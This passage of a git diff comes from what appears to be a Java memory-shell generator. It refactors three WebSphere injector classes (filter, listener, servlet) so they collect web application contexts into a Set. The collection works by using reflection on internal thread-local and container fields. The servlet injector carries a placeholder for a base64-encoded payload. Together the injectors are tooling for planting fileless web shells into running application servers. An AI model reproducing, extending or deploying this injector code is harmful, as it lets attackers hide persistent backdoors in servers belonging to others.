+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java
index d78ffcf1..1abfe7ad 100755
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java
@@ -9,7 +9,9 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
@@ -36,7 +38,7 @@ public class WebSphereFilterInjector {
     }
 
     public WebSphereFilterInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -78,27 +80,22 @@ public class WebSphereFilterInjector {
      * com.ibm.ws.webcontainer.webapp.WebAppImpl
      * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Object context;
-        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        Object[] wsThreadLocals = (Object[]) obj;
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
         for (Object wsThreadLocal : wsThreadLocals) {
-            obj = wsThreadLocal;
             // for websphere 7.x
-            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
-                        context = getFieldValue(getFieldValue(config, "context"), "context");
-                        contexts.add(context);
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
-                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
-                contexts.add(context);
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java
index d25d746d..8ae8874a 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java
@@ -7,7 +7,9 @@ import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -26,7 +28,7 @@ public class WebSphereListenerInjector {
     }
 
     public WebSphereListenerInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -64,27 +66,22 @@ public class WebSphereListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Object context;
-        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        Object[] wsThreadLocals = (Object[]) obj;
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
         for (Object wsThreadLocal : wsThreadLocals) {
-            obj = wsThreadLocal;
             // for websphere 7.x
-            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
-                        context = getFieldValue(getFieldValue(config, "context"), "context");
-                        contexts.add(context);
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
-                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
-                contexts.add(context);
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java
index 366088bd..691a0702 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java
@@ -6,9 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Properties;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -31,7 +29,7 @@ public class WebSphereServletInjector {
         return "{{base64Str}}";
     }
     public WebSphereServletInjector() {
-        List<Object> contexts = null;
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
@@ -69,27 +67,22 @@ public class WebSphereServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Object context;
-        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        Object[] wsThreadLocals = (Object[]) obj;
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
         for (Object wsThreadLocal : wsThreadLocals) {
-            obj = wsThreadLocal;
             // for websphere 7.x
-            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
-                        context = getFieldValue(getFieldValue(config, "context"), "context");
-                        contexts.add(context);
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
-                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
-                contexts.add(context);
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
             }
         }
         return contexts;